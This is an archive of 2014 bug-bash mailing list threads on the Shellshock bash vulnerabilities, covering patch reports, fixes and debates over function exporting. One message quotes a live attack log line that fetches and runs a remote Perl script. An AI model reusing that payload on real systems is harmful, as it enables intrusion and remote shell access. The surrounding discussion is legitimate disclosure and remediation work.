On 09/26/2014 11:00 PM, V S, Nagendra (Nonstop Filesystems Team) wrote:
> Hi Chet,
> Thanks a lot for the patch.
>
> The official bash patch & the patch that you posted on openwall forum seems
> to be different. The official bash patch does not contain this
>
> *** ../bash-4.2.48/y.tab.c 2
On 09/26/2014 06:58 PM, Nathan McGarvey wrote:
> Pardon my catching up. This (and all the other related patches for
> other past versions) is to remedy CVE-2014-7169 and CVE-2014-6271 was
> remedied by the previous Patch 25 (and related set for all other
> versions.) Is this correct? Or are the
On 09/26/2014 03:47 PM, David A. Wheeler wrote:
> I appreciate the effort made in patch bash43-026, but this patch doesn't even
> BEGIN to solve the underlying shellshock problem. This patch just continues
> the "whack-a-mole" job of fixing parsing errors that began with the first
> patch. Bas
I appreciate the effort made in patch bash43-026, but this patch doesn't even
BEGIN to solve the underlying shellshock problem. This patch just continues
the "whack-a-mole" job of fixing parsing errors that began with the first
patch. Bash's parser is certain have many many many other vulnerab
Hey Eduardo -
Jay is one of many - the fix for the parser exploit is using the wrong code to
decide if the identifier is valid for a function. And it doesn't have to.
Jay should certainly not "fix" his working scripts - which, btw, could have
been working for the last 20 years.
i guess i'll
Pardon my catching up. This (and all the other related patches for
other past versions) is to remedy CVE-2014-7169 and CVE-2014-6271 was
remedied by the previous Patch 25 (and related set for all other
versions.) Is this correct? Or are there still outstanding issues?
-Nathan
On 09/26/201
Hi Chet,
Thanks a lot for the patch.
The official bash patch & the patch that you posted on openwall forum seems to
be different. The official bash patch does not contain this
*** ../bash-4.2.48/y.tab.c 2012-12-31 11:53:10.0 -0500
--- y.tab.c2014-09-25 20:23:25.0 -0400
[posting a rehash of what has been said in several other threads, to
pull all the information into one easier-to-find location]
I know that ShellShock has been getting all the focus lately, but MOST
sites that I have seen that offer advice on how to test whether a build
is vulnerable are testing O
On Friday, September 26, 2014 02:17:03 PM Eric Blake wrote:
> Ugg. Anyone advising people to write bash functions while using the
> obsolete keyword 'function' ought to be questioned about their advice in
> general.
It's mainly the combination of `function` and `()` that make no sense in any
cont
Eric Blake wrote:
> This is a known issue, but NOT necessarily a security bug. In other
> words, it's no worse than running:
>
> env LD_PRELOAD=... ./test.sh
>
> with a malicious preload library. Remember, the security aspect of
> CVE-2014-6271 is that bash does unwanted parsing of the _content
- "Ángel González" wrote:
> The patch seems straightforward:
>
> diff --git a/variables.c b/variables.c
> index 92a5a10..6552e69 100644
> --- a/variables.c
> +++ b/variables.c
> @@ -361,7 +361,7 @@ initialize_shell_variables (env, privmode)
...
> - if (legal_identifier (name))
> +
Eric Blake wrote:
> At any rate, this seems like an inadvertent regression that could be
> patched; are you willing to propose such a patch? The gist of the
> matter is that the code base must use the same decision on what forms a
> valid function name as it does in deciding what exported non-vari
Yes, again... I was specifically working only with Red Hat patches. I
hadn't actually seen Chet's patches anywhere (thanks for the link).
However, I was concerned that Red Hat was setting a major precedent and
effectively forking bash (arguably that is the case, but in a much more
minor way then I
BASH PATCH REPORT
=
Bash-Release: 2.05b
Patch-ID: bash205b-009
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Under
BASH PATCH REPORT
=
Bash-Release: 2.05b
Patch-ID: bash205b-008
Bug-Reported-by:Stephane Chazelas
Bug-Reference-ID:
Bug-Reference-URL:
Bug-Description:
Under certain circumstances, bash will execute user code whil
BASH PATCH REPORT
=
Bash-Release: 3.0
Patch-ID: bash30-018
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Under cert
BASH PATCH REPORT
=
Bash-Release: 3.1
Patch-ID: bash31-019
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Under cert
BASH PATCH REPORT
=
Bash-Release: 3.2
Patch-ID: bash32-053
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Under cert
BASH PATCH REPORT
=
Bash-Release: 4.1
Patch-ID: bash41-013
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Un
BASH PATCH REPORT
=
Bash-Release: 4.0
Patch-ID: bash40-040
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Un
BASH PATCH REPORT
=
Bash-Release: 4.2
Patch-ID: bash42-049
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Un
BASH PATCH REPORT
=
Bash-Release: 4.3
Patch-ID: bash43-026
Bug-Reported-by:Tavis Ormandy
Bug-Reference-ID:
Bug-Reference-URL: http://twitter.com/taviso/statuses/514887394294652929
Bug-Description:
Un
On 09/26/2014 02:57 PM, Alan Wild wrote:
> I want to apologize for adding more confusion to this issue. My statements
> about CVE-2014-7169 where incorrect and misguided. This change does not
> remove function exporting but only changes how the function names are
> encoded as variable names.
Act
On 09/26/2014 02:22 PM, Linda Walsh wrote:
> Eric Blake wrote:
>
>> They are not portable to broken bash. But the argument in these threads
>> is that bash's implementation of function exports should be changed so
>> that _fixed_ bash will once again be POSIX compliant and let this
>> bog-standar
On Sep 26, 2014, at 12:55 PM, Steve Simmons wrote:
> If I manually update patchlevel.h to change from 0 to 9, the version is
> reported as '2.05b.((1)-release'. Bug?
Bad Steve, no donut. With patchlevel.h correctly modified as above, bash
reports the version as 2.05b.9(1)-release. Feel free to
On Friday, September 26, 2014 2:14:46 PM UTC+2, Greg Wooledge wrote:
> On Thu, Sep 25, 2014 at 11:53:18PM -0700, Alexandre Ferrieux wrote:
>
> > Of course, their intention is precisely expressed by the '#!/bin/sh' header
>
> Unfortunately, most people don't actually express an intent when they
>
I want to apologize for adding more confusion to this issue. My statements
about CVE-2014-7169 where incorrect and misguided. This change does not
remove function exporting but only changes how the function names are
encoded as variable names.
Because the published CVE-2014-6271 vulnerability tes
On 09/26/2014 11:31 AM, Norihiro Tanaka wrote:
> I tried 4.3.25 in order to check the details of CVE-2014-6271, and
> confirmed that the bug is fixed with a test case.
>
> Next, I tried following case, and receive an output `rm -rf /'. I seem
> that is designed, but it's also vulnerable.
>
> $ c
On 09/26/2014 10:58 AM, Alan Wild wrote:
> I've been searching for some clarification on these two "fixes" and I'm
> utterly confused. I've been lead to believe RedHat's first patch (6271) is
[Red Hat is two words.]
> based on code from Chet that just causes bash to reject functions where
> code
On 09/26/2014 10:27 AM, Brady Cummings wrote:
> Bash Maintainers,
>
> Bash Version : GNU bash, version 4.3.25(2)-release (i686-pc-linux-gnu)
> OS Version: Fedora release 8
> Processor : Intel Atom D425 1.8GHz Single-core
> RAM : 1GB
> Compilation Flags : De
On Friday, September 26, 2014 10:00:08 AM UTC+2, Andreas Schwab wrote:
> Alexandre Ferrieux writes:
>
> > So, what about, in bash's initialization, detecting that we are invoked as
> > "/bin/sh",
>
> It already does. See (bash) Bash POSIX Mode.
Yes, it does do this detection, but too late for
Eric Blake wrote:
They are not portable to broken bash. But the argument in these threads
is that bash's implementation of function exports should be changed so
that _fixed_ bash will once again be POSIX compliant and let this
bog-standard assignment work regardless of contents. If Chet accept
On 09/26/2014 02:08 PM, Jay Freeman (saurik) wrote:
[can you convince your mailer to wrap long lines?]
>
> "Lower-case, with underscores to separate words. Separate libraries with ::.
> Parentheses are required after the function name. The keyword function is
> optional, but must be used consi
On Fri, Sep 26, 2014 at 08:08:23PM +, Jay Freeman (saurik) wrote:
> Google's style guide for shell actually states that using :: in function
> names to separate library names from function names and package names within
> library names is their best practice.
My respect for Google just dropped
I tried 4.3.25 in order to check the details of CVE-2014-6271, and
confirmed that the bug is fixed with a test case.
Next, I tried following case, and receive an output `rm -rf /'. I seem
that is designed, but it's also vulnerable.
$ cat
Not that I get a "vote", but if I did... I'm completely supportive of
dropping function "importing" support when bash is invoked as /bin/sh (or
--posix). This is clearly bash-specific functionality that isn't needed
for POSIX-compliance. Seams like a much more reasonable middle-ground then
pullin
I've been searching for some clarification on these two "fixes" and I'm
utterly confused. I've been lead to believe RedHat's first patch (6271) is
based on code from Chet that just causes bash to reject functions where
code appears outside of the function body.
However, this patch was labeled as
Bash Maintainers,
Bash Version : GNU bash, version 4.3.25(2)-release (i686-pc-linux-gnu)
OS Version: Fedora release 8
Processor : Intel Atom D425 1.8GHz Single-core
RAM : 1GB
Compilation Flags : Defaults (compiles fine)
Bug: Exploit 2 (CVE-2014-7169) stil
- "Eduardo A. Bustamante López" wrote:
> Well, what did you expect? You're relying on undocumented features.
...
> So, fix your scripts, perhaps?
I am sorry I seem to have offended you so much to have warranted this form of
response :(.
> It's common knowledge that if you rely on undocumen
Le 26. 09. 14 18:55, Steve Simmons a écrit :
These patches build and run without problem in our initial bash2 tests. However, I notice
that both the version number reported by ./bash --version and doing ./bash followed by
echo $BASH_VERSION both report "2.05b.0(1)-release". All versions that I'
Well, what did you expect? You're relying on undocumented features.
Relevant sections from the manual:
Definition of 'name':
| name A word consisting only of alphanumeric characters and
underscores, and beginning with an alphabetic character or an
| underscore. Also referred
These patches build and run without problem in our initial bash2 tests.
However, I notice that both the version number reported by ./bash --version and
doing ./bash followed by echo $BASH_VERSION both report "2.05b.0(1)-release".
All versions that I've tested of bash3 and bash4 report their patc
On Fri, 26 Sep 2014 10:25:32 -0400, Chet Ramey wrote:
> On 9/26/14, 10:15 AM, Allodoxaphobia wrote:
>
>> There was another bash upgrade in the FreeBSD ports this A.M.
>> Thinking it might resolve my bash --version problem, I applied it.
>>
>> sigh...
>>
>> | [userid~]bash
>> | /usr/local/bin/ba
On 2014-09-26 08:51 -0600, Eric Blake wrote:
> On 09/26/2014 08:45 AM, Nick Bowler wrote:
> > On 2014-09-25 15:08 -0700, Linda Walsh wrote:
> >> Eric Blake wrote:
> >>> Where I'm coming from is that in portable shell programming, you _can't_
> >>> assign a value to f()=... The fact that portable p
On 2014-09-25 15:08 -0700, Linda Walsh wrote:
> Eric Blake wrote:
> > Where I'm coming from is that in portable shell programming, you _can't_
> > assign a value to f()=... The fact that portable programs are now
> > slammed with the notion that some values cannot be portably assigned
> > to a var
On Fri, Sep 26, 2014 at 10:36 AM, Eric Blake wrote:
> On 09/26/2014 08:22 AM, Zack Weinberg wrote:
>>
>> The question in my mind is, is exporting functions a POSIX shell feature?
>> If not, perhaps it should just be scrapped altogether.
>
> Why not read POSIX and find out for yourself?
I would no
Le 26. 09. 14 16:47, Chet Ramey a écrit :
On 9/26/14, 4:53 AM, Jean-Christian de Rivaz wrote:
Hello,
While this can seem completely obsolete, I still have machines running bash
2.05b (Debian etch). I worry about upgrading to bash 3.x because of some
backward compatibility issue.
It there any re
> If you want to do this to yourself, why should bash stop you?
If at any point in the future a sequence of events allows someone to alter
the version string while a system or package is being built, it would be
more serious. Any code or side effect that would change the version string
might appea
On Fri, 2014-09-26 at 10:51 -0400, Steve Simmons wrote:
> 2) build a 'real' /bin/sh without those compiled in. This begs the
> definition of 'real', but IMHO if it's not in POSIX, it shouldn't be
> in 'real' /bin/sh
Ubuntu and it's derivatives have been doing this since 2006. /bin/sh on
these sys
On Fri, Sep 26, 2014 at 10:51:36AM -0400, Steve Simmons wrote:
> The more I see of how many bash-isms work when bash is invoked as /bin/sh,
> the more convinced I get that we need to either
>
> 1) make bash when invoked as /bin/sh fail those bash-isms
>
> 2) build a 'real' /bin/sh without those
On Sep 26, 2014, at 10:36 AM, Eric Blake wrote:
> . . . I _also_ agree that since function exports are NOT required by POSIX,
> that it would be okay if we let /bin/bash continue to import functions
> by default, but have bash invoked as /bin/sh refuse to do imports by
> default. . .
The more I
On 09/26/2014 08:45 AM, Nick Bowler wrote:
> On 2014-09-25 15:08 -0700, Linda Walsh wrote:
>> Eric Blake wrote:
>>> Where I'm coming from is that in portable shell programming, you _can't_
>>> assign a value to f()=... The fact that portable programs are now
>>> slammed with the notion that some v
On 9/26/14, 4:53 AM, Jean-Christian de Rivaz wrote:
> Hello,
>
> While this can seem completely obsolete, I still have machines running bash
> 2.05b (Debian etch). I worry about upgrading to bash 3.x because of some
> backward compatibility issue.
> It there any reason why there was no patch for b
On 09/26/2014 08:22 AM, Zack Weinberg wrote:
> On September 26, 2014 3:53:53 AM EDT, lolilolicon
> wrote:
>> On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh wrote:
>
>>> This behavior has been around for 20+ without it being judged "so
>> bad",
>>
>> I don't think that's a sufficient argument for
On 9/26/14, 10:15 AM, Allodoxaphobia wrote:
> There was another bash upgrade in the FreeBSD ports this A.M.
> Thinking it might resolve my bash --version problem, I applied it.
>
> sigh...
>
> | [userid~]bash
> | /usr/local/bin/bash: warning: x: ignoring function definition attempt
> | /usr/l
(I am terribly sorry if this e-mail message comes through twice; I normally use
a third-party SMTP relay service, but it marks my e-mail with various headers,
including precedence bulk, that I think might have caused my first e-mail to
have been eaten by your mailing list manager, as I did not s
Hello! ;P Yesterday, I upgraded to a new version of bash (from Debian),
intended to fix "shellshock". Today, I'm finding that all of my build scripts
have stopped working :(. I managed to narrow the breaking change to yesterday's
patch: the problem is that the names of functions are allowed to c
Hello,
While this can seem completely obsolete, I still have machines running
bash 2.05b (Debian etch). I worry about upgrading to bash 3.x because of
some backward compatibility issue.
It there any reason why there was no patch for bash 2.05b ? The test
command below show that the bug also af
On September 26, 2014 3:53:53 AM EDT, lolilolicon wrote:
>On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh wrote:
>> This behavior has been around for 20+ without it being judged "so
>bad",
>
>I don't think that's a sufficient argument for "this is not so bad".
>
>First, the fact that the bug has ex
Configuration Information [Automatically generated, do not change]:
Machine: i686
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -DPROGRAM='bash' -DCONF_HOSTTYPE='i686'
-DCONF_OSTYPE='linux-gnu' -DCONF_MACHTYPE='i686-pc-linux-gnu'
-DCONF_VENDOR='pc' -DLOCALEDIR='/usr/local/share/locale' -DPACKAG
On 26 Sep 2014 03:13:57 GMT, Allodoxaphobia wrote:
> On Thu, 25 Sep 2014 23:04:46 -0400, Chet Ramey wrote:
>> On 9/25/14, 9:41 PM, Allodoxaphobia wrote:
>>> Earlier today I performed the `bash` security upgrade on my
>>> | [userid~]uname -rs
>>> | FreeBSD 10.0-RELEASE-p9
>>> machine. I thought t
Hi there,
I'm reposting here an opinion piece of mine I sent to Chet and
the various security lists after the patch was made and prior to
the disclosure, for others to comment.
Several things discussed in here:
- hardening to avoid exposing the parser to untrusted input
- duplicate env var entr
On 9/26/14, 3:13 AM, Johan Nestaas wrote:
> This isn't nearly as important as shellshock or whatever you want to call
> it, but I found this while glancing at the source and the latest patch.
> It's a funny little bug that I doubt could ever be useful for malicious
> reasons, unless you can determi
Johan Nestaas writes:
> version I set in configure:
> BASHVERS=4.4
>
> (gdb) run
> Starting program: ~/bash/bash-4.3/bash
>
> Program received signal SIGSEGV, Segmentation fault.
Don't do that then.
Andreas.
On 09/26/2014 06:05 AM, Greg Wooledge wrote:
> HP-UX 10.20 (which is from 1994, and was end-of-lifed many years ago)
> only has a Bourne shell in /usr/old/bin/sh. It's not used in normal
> operations. The /bin/sh on HP-UX is basically a stripped-down ksh.
>
> Unfortunately it's a bit tricky to
On Thu, Sep 25, 2014 at 11:53:18PM -0700, Alexandre Ferrieux wrote:
> Of course, their intention is precisely expressed by the '#!/bin/sh' header
Unfortunately, most people don't actually express an intent when they
use #!/bin/sh. They just copy some code from a random script they found
somewhere
On Thu, Sep 25, 2014 at 07:58:56PM -0400, Chet Ramey wrote:
> We used to do that, and part of the code that I removed in patch 25
> supported the original `name()=() {'. We didn't use that very long; it
> turns out that the Bourne shell (and others, at that time) dumps core on
> malformed environm
In article ,
lolilolicon wrote:
> I think almost as severe as CVE-2014-6271 is that it's still possible to
> mask commands in a bash script by changing it's environment.
> For example, true='() { false;}' or grep='() { /bin/id;}' ...
Yes, and BTW, I don't think this is POSIX compliant:
8.1
Entry from my Linux Apache2 access-log:
1038 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl
/var/tmp/wow1;rm -rf /var/tmp/wow1\""
wow1 is a hacked stealth IRC perl script that will give the hacker shell
access. If that script is present in /var/tmp, chances are your
This isn't nearly as important as shellshock or whatever you want to call
it, but I found this while glancing at the source and the latest patch.
It's a funny little bug that I doubt could ever be useful for malicious
reasons, unless you can determine an address to jump to that is comprised
of all
On Fri, Sep 26, 2014 at 3:24 PM, Vincent Lefevre wrote:
> On 2014-09-25 03:54:19 +0800, lolilolicon wrote:
>> [...] that it's still possible to
>> mask commands in a bash script by changing it's environment.
>>
>> For example, true='() { false;}' or grep='() { /bin/id;}' ...
>
> Yes, and BTW, I do
Alexandre Ferrieux writes:
> So, what about, in bash's initialization, detecting that we are invoked as
> "/bin/sh",
It already does. See (bash) Bash POSIX Mode.
Andreas.
--
Andreas Schwab, sch...@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5
"And no
Yes, you are right. It was my error. I've successfully tested now the
patched bash and it is working now as expected. Thanks for your help!
Regards,
Ralf
On Fri, 26 Sep 2014, Alexandre FERRIEUX - SOFT/LAN wrote:
> Date: Fri, 26 Sep 2014 08:30:41 +0200
> From: Alexandre FERRIEUX - SOFT/LAN
> To
On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh wrote:
>
>
> Eric Blake wrote:
>>
>> Where I'm coming from is that in portable shell programming, you _can't_
>> assign a value to f()=... The fact that portable
>> programs are now "slammed"[sic] with the notion that some values cannot be
>> portably
Eric Blake writes:
> Overkill. The security hole arises because the problem, as it currently
> exists, is triggerable by ANY portable environment variable definition.
In the context of security you need to forget about portable. You need
to think about the improbable.
Andreas.
--
Andreas Sc
On 2014-09-25 03:54:19 +0800, lolilolicon wrote:
> I think almost as severe as CVE-2014-6271 is that it's still possible to
> mask commands in a bash script by changing it's environment.
>
> For example, true='() { false;}' or grep='() { /bin/id;}' ...
Yes, and BTW, I don't think this is POSIX co
76 matches
Mail list logo
